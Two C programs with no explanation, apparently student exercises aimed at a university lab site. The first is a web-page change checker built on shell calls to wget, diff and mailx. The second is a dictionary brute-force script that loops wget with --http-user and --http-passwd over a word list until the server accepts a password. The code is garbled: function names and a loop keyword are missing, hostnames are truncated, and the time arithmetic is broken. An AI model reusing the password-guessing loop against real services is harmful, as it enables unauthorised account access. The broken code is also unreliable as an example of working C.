

             
	     


#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int  ()
    {
       char url[30];
       int exitValue=-1;
       FILE *fr;

       char s[300]; 	     
	system("rm index.html*");
        system("wget http://www.cs.rmit.edu./students/ ");    
	 system("mv index.html one.html");
	 
           printf("System completed Writing\n"); 
	   system("sleep 3600");
	    
	    
            system("wget http://www.cs.rmit.edu./students/ "); 
            
	          
	    	     
	     exitValue=system("diff one.html index.html > .out" );
	     
             fr=fopen(".out","r");
	     
	     strcpy(s,"mailx -s \"Testing Again\"");
	     	     
	     strcat(s,"  < .out");
	     if(fgets(url,30,fr))
	     {
	     system(s);
	     
	     system("rm one.html");  
	     
	     printf("\nCheck your mail") ; 
	     fclose(fr);        
	     }
	       else
	           {
	            printf(" changes detected"); 
		    
	            system("rm one.html"); 
		    fclose(fr);   
		   }
		   return 0;   
      }
      
      
   




#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <ctype.h>
#include<sys/time.h>

int ()
{
  char first[80], last[50];
  int count =0;
  int Start_time,End_time,Total_time,average;
  char password[15], *getWord;
  getWord = " ";
  FILE *fp;
  int systemres = 1;
  fp = fopen("words", "r");
  Start_time = time();
  strcpy(first, "wget --http-user= --http-passwd=");
  strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");

  {
    getWord = fgets(password, 15, fp);
    if (getWord == NULL) exit(1);
    password [ strlen(password) - 1 ] = '\0';
    if(strlen(password) == 3)
    {
    strcat(first, password);
    strcat(first, last);
    printf("The length of the word is : %d", strlen(password));
    printf("\n %s \n",first);
    count++;
    systemres = system(first);
    if (systemres == 0)
    {
		printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in seconds =%lldsec\n", Total_time);
		printf("Total  of attempts %d", count);
		printf("\nsuccess %d %s\n",systemres,password);

       printf("\nsuccess %d %s\n",systemres,password);
       exit(1);
    }
    strcpy(first, "");
    strcpy(first, "wget --http-user= --http-passwd=");
    printf("%s", password);
  }
 }
while(getWord != NULL);

}
